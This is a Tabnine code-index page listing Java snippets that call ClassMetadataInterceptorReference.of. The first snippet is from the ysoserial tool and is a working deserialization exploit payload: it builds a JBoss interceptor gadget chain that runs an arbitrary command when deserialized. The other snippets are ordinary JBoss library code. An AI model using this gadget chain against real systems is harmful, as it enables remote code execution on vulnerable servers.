Tabnine Logo
ClassMetadataInterceptorReference.of
Code IndexAdd Tabnine to your IDE (free)

How to use
of
method
in
org.jboss.interceptor.reader.ClassMetadataInterceptorReference

Best Java code snippets using org.jboss.interceptor.reader.ClassMetadataInterceptorReference.of (Showing top 4 results out of 315)

origin: frohoff/ysoserial

public Object getObject(final String command) throws Exception {
  final Object gadget = Gadgets.createTemplatesImpl(command);
  InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
  ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
  InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
  Set<InterceptionType> s = new HashSet<InterceptionType>();
  s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
  Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
  defaultMethodMetadataConstructor.setAccessible(true);
  MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
      MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
  List list = new ArrayList();
  list.add(methodMetadata);
  Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
  hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
  SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
  builder.interceptAll().with(simpleInterceptorMetadata);
  InterceptionModel model = builder.build();
  HashMap map = new HashMap();
  map.put("ysoserial", "ysoserial");
  DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
  InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
    public Object createFor(InterceptorReference paramInterceptorReference) {
      return gadget;
    }
  };
  return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
origin: org.jboss.interceptor/jboss-interceptor-core

public <T> InterceptorMetadata<T> getInterceptorMetadata(Class<T> clazz)
{
 try
 {
   return (InterceptorMetadata<T>) interceptorMetadataCache.get(ClassMetadataInterceptorReference.of(reflectiveClassMetadataCache.get(clazz)));
 }
 catch (ComputationException e)
 {
   if (unwrapRuntimeExceptions && e.getCause() instanceof RuntimeException)
   {
    throw (RuntimeException) e.getCause();
   }
   throw e;
 }
}
origin: org.jboss.interceptor/jboss-interceptor-core

public <T> InterceptorMetadata<T> getInterceptorMetadata(ClassMetadata<T> clazz)
{
 try
 {
   return (InterceptorMetadata<T>) interceptorMetadataCache.get(ClassMetadataInterceptorReference.of(clazz));
 }
 catch (ComputationException e)
 {
   if (unwrapRuntimeExceptions && e.getCause() instanceof RuntimeException)
   {
    throw (RuntimeException) e.getCause();
   }
   throw e;
 }
}
origin: org.jboss.interceptor/jboss-interceptor-core

public static InterceptorMetadata readMetadataForTargetClass(ClassMetadata<?> classMetadata)
{
 return new SimpleInterceptorMetadata(ClassMetadataInterceptorReference.of(classMetadata), true, buildMethodMap(classMetadata, true));
}
org.jboss.interceptor.readerClassMetadataInterceptorReferenceof

Popular methods of ClassMetadataInterceptorReference

  • <init>
  • getClassMetadata

Popular in Java

  • Making http post requests using okhttp
  • requestLocationUpdates (LocationManager)
  • setRequestProperty (URLConnection)
  • onRequestPermissionsResult (Fragment)
  • Graphics2D (java.awt)
    This Graphics2D class extends the Graphics class to provide more sophisticated control overgraphics
  • ArrayList (java.util)
    ArrayList is an implementation of List, backed by an array. All optional operations including adding
  • Dictionary (java.util)
    Note: Do not use this class since it is obsolete. Please use the Map interface for new implementatio
  • LinkedList (java.util)
    Doubly-linked list implementation of the List and Dequeinterfaces. Implements all optional list oper
  • JPanel (javax.swing)
  • XPath (javax.xml.xpath)
    XPath provides access to the XPath evaluation environment and expressions. Evaluation of XPath Expr
  • Top Vim plugins
Tabnine Logo
  • Products

    Search for Java codeSearch for JavaScript code
  • IDE Plugins

    IntelliJ IDEAWebStormVisual StudioAndroid StudioEclipseVisual Studio CodePyCharmSublime TextPhpStormVimGoLandRubyMineEmacsJupyter NotebookJupyter LabRiderDataGripAppCode
  • Company

    About UsContact UsCareers
  • Resources

    FAQBlogTabnine AcademyTerms of usePrivacy policyJava Code IndexJavascript Code Index
Get Tabnine for your IDE now